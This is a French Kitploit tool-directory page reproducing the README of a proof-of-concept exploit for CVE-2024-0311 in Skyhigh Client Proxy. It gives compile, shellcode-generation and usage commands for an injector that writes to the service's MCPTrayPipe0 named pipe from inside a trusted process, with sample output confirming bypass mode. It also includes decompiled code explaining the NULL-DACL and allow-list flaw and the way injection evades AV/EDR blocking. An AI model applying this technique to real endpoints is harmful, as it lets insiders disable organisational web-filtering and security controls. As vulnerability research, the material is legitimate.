Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/calligraf0/cve-2024-0311
Escalade de PrivilègesExploitationÉvasion IDS/IPSRétro-ingénierieShellcodeDéveloppement de Charges UtilesExploitation de Binaires
GitHubcalligraf0/cve-2024-0311

CVE-2024-0311

Preuve de concept d'exploitation pour CVE-2024-0311 contournant la politique de Skyhigh Client Proxy via injection de processus et manipulation de named pipe, avec shellcode personnalisé pour contourner les restrictions AV/EDR.

Voir le dépôt
9215il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2024-0311 ?

Ceci est un PoC pour ce que je pense être CVE-2024-0311, SB10418.

Un initié malveillant peut contourner la politique existante de Skyhigh Client Proxy sans code de déblocage valide.

Beaucoup de détails. Très exploit. ¯\(ツ)/¯

Le PoC injecte dans un processus SCPBypass.exe lancé par l'utilisateur et écrit dans le pipe de SCPService.exe : \\.\pipe\MCPTrayPipe0. L'injection est nécessaire car, même si le pipe est RW Everyone, certaines vérifications sont effectuées par WGUARDNT sur l'exécutable écrivant dans le pipe (le chemin de l'écrivain est vérifié), voir ci-dessous.

Un exemple de shellcode est fourni, qui permet l'exécution de WriteFile sur le pipe même si Trellix/McAfee sont en cours d'exécution et interceptent/bloquent LoadLibrary.

Compilation

Compilez en Debug ou Release depuis Visual Studio

Shellcode

Générez le shellcode via :

root@kitploit:~
cd shellcode && nasm loadlibrary.asm && xxd -i loadlibrary

puis placez le shellcode dans shellcode.c.

Utilisation

root@kitploit:~
Injct.exe PID_OF_SCPBYPASS_EXE [stateoff] [debugon]
* stateoff: Don't call SetNamedPipeHandleState. The shellcode validate the pointer to SetNamedPipeHandleState before calling it..
*  debugon: set a breakpoint into the shellcode (0xcc at offset 0) and spawn a thread to bind the named pipe. Don't use in production.

Exemple de sortie :

root@kitploit:~
PS C:\Users\test\Desktop> .\Injct.exe 10640
> Target PID: 10640
> Allocating 4Kb in remote process: 0000020B61060000
> Writing shellcode to PID: 10640
> Injected shellcode at: 0000020B61060000
> Creating remote thread at 0000020B61060000
> Thread 12784 created.. waiting...
> Thread 12784 return value 0000000000000000
PS C:\Users\test\Desktop>

Si tout s'est bien passé, vous devriez trouver une entrée similaire à ceci dans les fichiers journaux SCP :

root@kitploit:~
10/30/24 : 10:18:55:185 - [INFO] CBypassPipeServer::run -  SCP will be going into bypass mode for 1440 minutes

Analyse

Ce sera une brève analyse, parce que personne n'a le temps pour les mots.

Client proxy Skyhigh

Tout d'abord, qu'est-ce que le client proxy Skyhigh ?

Le logiciel Skyhigh Security Client Proxy aide à protéger les utilisateurs finaux contre les menaces de sécurité qui surviennent lorsqu'ils accèdent au web depuis l'intérieur ou l'extérieur de votre réseau. Le logiciel client, installé sur les endpoints exécutant Microsoft Windows ou macOS, redirige les requêtes web ou les laisse continuer vers un proxy pour filtrage. Le logiciel serveur s'exécute sur l'une des plateformes de gestion : Trellix ePO SaaS ou Trellix ePO Cloud.

Cela devrait être clair.

Quelle est la cause racine ?

Compte tenu des informations de l'avis de sécurité, il n'y a pas grand-chose sur quoi s'appuyer. En toute honnêteté, je regardais le service binaire pour repérer des failles faciles à exploiter pour une élévation de privilèges locale (LPE) quand j'ai vu CreateNamedPipe et que je me suis intéressé.

Voici un copier-coller rapide du code décompilé de Ghidra :

root@kitploit:~
void CreateNamedPipe_FUN_14022d150(undefined8 param_1)

{
  BOOL BVar1;
  int atoi_out_lpBuffer;
  HANDLE hNamedPipe;
  undefined8 uVar2;
  undefined auStackY_4c8 [32];
  uint nBytesRead;
  undefined4 local_474;
  undefined4 local_470;
  ulonglong nBytesRead_0;
  _SECURITY_ATTRIBUTES local_460;
  undefined pSecurityDescriptor [48];
  char out_lpBuffer [1024];
  ulonglong local_18;

  local_18 = DAT_14069a448 ^ (ulonglong)auStackY_4c8;
  InitializeSecurityDescriptor(pSecurityDescriptor,1);

                    /* BOOL SetSecurityDescriptorDacl(
                         [in, out]      PSECURITY_DESCRIPTOR pSecurityDescriptor,
                         [in]           BOOL                 bDaclPresent,
                         [in, optional] PACL                 pDacl,
                         [in]           BOOL                 bDaclDefaulted
                       ); */
  SetSecurityDescriptorDacl(pSecurityDescriptor,1,(PACL)0x0,0);
  local_460.bInheritHandle = 0;
  local_460.lpSecurityDescriptor = pSecurityDescriptor;
  local_460.nLength = 0x18;

                    /* HANDLE CreateNamedPipeW(
                         [in]           LPCWSTR               lpName,
                         [in]           DWORD                 dwOpenMode,
                         [in]           DWORD                 dwPipeMode,
                         [in]           DWORD                 nMaxInstances,
                         [in]           DWORD                 nOutBufferSize,
                         [in]           DWORD                 nInBufferSize,
                         [in]           DWORD                 nDefaultTimeOut,
                         [in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes
                       );

                       CreateNamedPipeW("\\\\.\\pipe\\MCPTrayPipe0",PIPE_ACCESS_DUPLEX,
                       PIPE_TYPE_BYTE, 1, 0x4000, 0x4000, 0, lpSecurityAttribytes)
                        */
  hNamedPipe = CreateNamedPipeW(L"\\\\.\\pipe\\MCPTrayPipe0",3,0,1,0x4000,0x4000,0,&local_460);
  while (hNamedPipe != (HANDLE)0xffffffffffffffff) {
    BVar1 = ConnectNamedPipe(hNamedPipe,(LPOVERLAPPED)0x0);
    if (BVar1 != 0) {
      while (BVar1 = ReadFile(hNamedPipe,out_lpBuffer,1023,&nBytesRead,(LPOVERLAPPED)0x0),
            BVar1 != 0) {
        nBytesRead_0 = (ulonglong)nBytesRead;
        if (1023 < nBytesRead_0) {
          fail_or_fastfail_FUN_1404794f0();
        }
        out_lpBuffer[nBytesRead_0] = '\0';
        if ((((undefined **)PTR_LOOP_14069a4e0 == &PTR_LOOP_14069a4e0) ||
            ((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) == 0)) ||
           ((byte)PTR_LOOP_14069a4e0[0x19] < 5)) {
          local_474 = 0;
        }
        else {
          TraceMessage_FUN_140027e70
                    (*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0xe,&DAT_1405da058,out_lpBuffer);
          local_474 = 1;
        }
        FUN_14022d510(param_1,1);
        atoi_out_lpBuffer = atoi(out_lpBuffer);
        uVar2 = FUN_140040210();
        LOGFUN_1400402a0(uVar2,L"CBypassPipeServer::run",5,L"INFO");
        if ((((undefined **)PTR_LOOP_14069a4e0 == &PTR_LOOP_14069a4e0) ||
            ((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) == 0)) ||
           ((byte)PTR_LOOP_14069a4e0[0x19] < 3)) {
          local_470 = 0;
        }
        else {
          TraceMessage_FUN_140027e10
                    (*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0xf,&DAT_1405da058,atoi_out_lpBuffer
                    );
          local_470 = 1;
        }
        FUN_140040530(2,L"CBypassPipeServer::run-SCP will be going into bypass mode for %d minutes",
                      atoi_out_lpBuffer);
        FUN_14022d5b0(param_1,atoi_out_lpBuffer);
      }
    }
    DisconnectNamedPipe(hNamedPipe);
  }
  FUN_140478b10(local_18 ^ (ulonglong)auStackY_4c8);
  return;
}

Comme on peut le voir, une fois la fonction appelée, une nouvelle structure DACL est initialisée et un nouveau pipe \\.\pipe\MCPTrayPipe0 est créé en byte mode.

Ensuite, tant que le handle vers ce pipe est valide, le programme lit depuis celui-ci et tente de convertir les octets qui lui sont envoyés d'ASCII en entier avec atoi(out_lpBuffer). En ignorant le fait qu'il existe de meilleures alternatives à atoi, en supposant que l'appel à atoi n'a pas échoué, la valeur convertie est passée à FUN_14022d5b0 :

root@kitploit:~

undefined8 FUN_14022d5b0(longlong param1,int atoi_out_lpBuffer)

{
  BOOL BVar1;
  DWORD DVar2;
  undefined8 uVar3;
  LARGE_INTEGER local_10 [2];

  local_10[0].QuadPart = (ulonglong)(uint)atoi_out_lpBuffer * -600000000;
  BVar1 = SetWaitableTimer(*(HANDLE *)(param1 + 0xd8),local_10,0,(PTIMERAPCROUTINE)0x0,(LPVOID)0x0,0
                          );
  if (BVar1 == 0) {
    DVar2 = GetLastError();
    uVar3 = FUN_140040210();
    LOGFUN_1400402a0(uVar3,L"CBypassPipeServer::setBypassTimer",1,L"ERROR",L"Failed setting time %d"
                     ,DVar2);
    if ((((undefined **)PTR_LOOP_14069a4e0 != &PTR_LOOP_14069a4e0) &&
        ((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) != 0)) && (1 < (byte)PTR_LOOP_14069a4e0[0x19]))
    {
      DVar2 = GetLastError();
      TraceMessage_FUN_140027e10
                (*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0x12,&DAT_1405da058,DVar2);
    }
    uVar3 = 0xffffffff;
  }
  else {
    uVar3 = 0;
  }
  return uVar3;
}

qui appelle SetWaitableTimer. Les chaînes de caractères ont ici aidé à repérer le flux souhaité.

Le point principal ici est qu'aucune vérification n'est effectuée par le processus ScpService.exe sur qui écrit quoi dans le pipe ; les données sont simplement approuvées aveuglément et transmises. De plus, en vérifiant les permissions du pipe avec accesschk, le pipe est RW Everyone.

L'exploit devrait donc en gros faire ce qui suit :

  • CreateFile() : obtenir un handle vers le pipe
  • SetNamedPipeHandleState() : définir le mode octet
  • WriteFile() : écrire les données
  • CloseHandle() : fermer le handle

Cela peut être fait littéralement en quelques lignes de PowerShell. Victoire facile, non ? Non.

Pourquoi injecter ?

Si seulement les choses étaient aussi simples ! Même si techniquement tout semblait fonctionner de cette façon, l'ouverture du pipe finissait toujours par un délai d'attente dépassé du client du pipe. En creusant un peu plus, nous avons remarqué que le service mettait en place une ACL ailleurs.

ACL

Le descripteur de sécurité par défaut utilisé par ScpService est initialisé comme suit :

root@kitploit:~
SECURITY_DESCRIPTOR sd = {};

InitializeSecurityDescriptor(&sd, 1);
SetSecurityDescriptorDacl(&sd, 1, NULL, NULL);

Ceci représente une DACL, qui n'accorde l'accès à personne.

Si la liste de contrôle d'accès discrétionnaire (DACL) appartenant au descripteur de sécurité d'un objet a la valeur NULL, une DACL NULL est créée. Une DACL NULL accorde un accès complet à tout utilisateur qui le demande ; aucune vérification de sécurité normale n'est effectuée sur l'objet. Une DACL NULL ne doit pas être confondue avec une DACL vide. Une DACL vide est une DACL correctement allouée et initialisée qui ne contient aucune entrée de contrôle d'accès (ACE). Une DACL vide n'accorde aucun accès à l'objet auquel elle est affectée.

Il est très probable que l'ACE/DACL soit déléguée à \\.\WGUARDNT, qui semble être une couche de protection (McAfee ?) chargée d'accorder l'accès à une liste limitée d'objets :

root@kitploit:~
.data:000000014069A510 off_14069A510   dq offset aScpserviceExe_3
.data:000000014069A510                                         ; DATA XREF: sub_14009A310+539↑o
.data:000000014069A510                                         ; sub_14009A310+674↑o ...
.data:000000014069A510                                         ; "scpservice*.exe"
.data:000000014069A518                 dq offset aFrameworkservi ; "FrameworkService.exe"
.data:000000014069A520                 dq offset aRegsvcExe    ; "regsvc.exe"
.data:000000014069A528                 dq offset aNaprdmgr64Exe ; "naprdmgr64.exe"
.data:000000014069A530                 dq offset aNaprdmgrExe  ; "naprdmgr.exe"
.data:000000014069A538                 dq offset aUpdateruiExe ; "updaterui.exe"
.data:000000014069A540                 dq offset aMcafeefireExe ; "McAfeeFire.exe"
.data:000000014069A548                 dq offset aScpbypassExe ; "SCPBypass.exe"
.data:000000014069A550                 dq offset aScpaboutExe  ; "SCPAbout.exe"
.data:000000014069A558                 dq offset aMfehidinExe  ; "mfehidin.exe"
.data:000000014069A560                 dq offset aMsiexecExe   ; "msiexec.exe"
.data:000000014069A568                 dq offset aMcshieldExe  ; "mcshield.exe"
.data:000000014069A570                 dq offset aMmcExe       ; "mmc.exe"
.data:000000014069A578                 dq offset aSystem_4     ; "system"
.data:000000014069A580                 dq offset aServicesExe  ; "services.exe"
.data:000000014069A588                 dq offset aWinlogonExe  ; "winlogon.exe"
.data:000000014069A590                 dq offset aSvchostExe   ; "svchost.exe"

Tentative 1

Eh bien, si l'exécutable qui se connecte est vérifié par rapport à une liste d'exécutables/chemins connus et puisque SCPBypass.exe, exécuté avec les privilèges de notre utilisateur, semble être dans une liste d'applications de confiance, ne pourrions-nous pas simplement injecter une DLL dans SCPBypass.exe ? Absolument ! Dommage que Trellix/McAfee vous bloquent l'appel à LoadLibrary.

D'où le InjmeDLL inutilisé dans le projet.

Tentative 2 (finale)

Nous avons finalement opté pour une solution rapide et sale bricolée par @wolfcod : injecter simplement un shellcode qui fait ce qu'il faut, puisque de toute façon le processus a déjà tout chargé. Au lieu d'appeler le syscall directement ou d'essayer d'autres manigances, cette solution simple a parfaitement fonctionné pour notre cas d'utilisation.

Cela a finalement abouti au contournement des restrictions imposées par la solution AV/EDR et à un exploit fonctionnel.

👋 Salutations.

Télécharger l’outil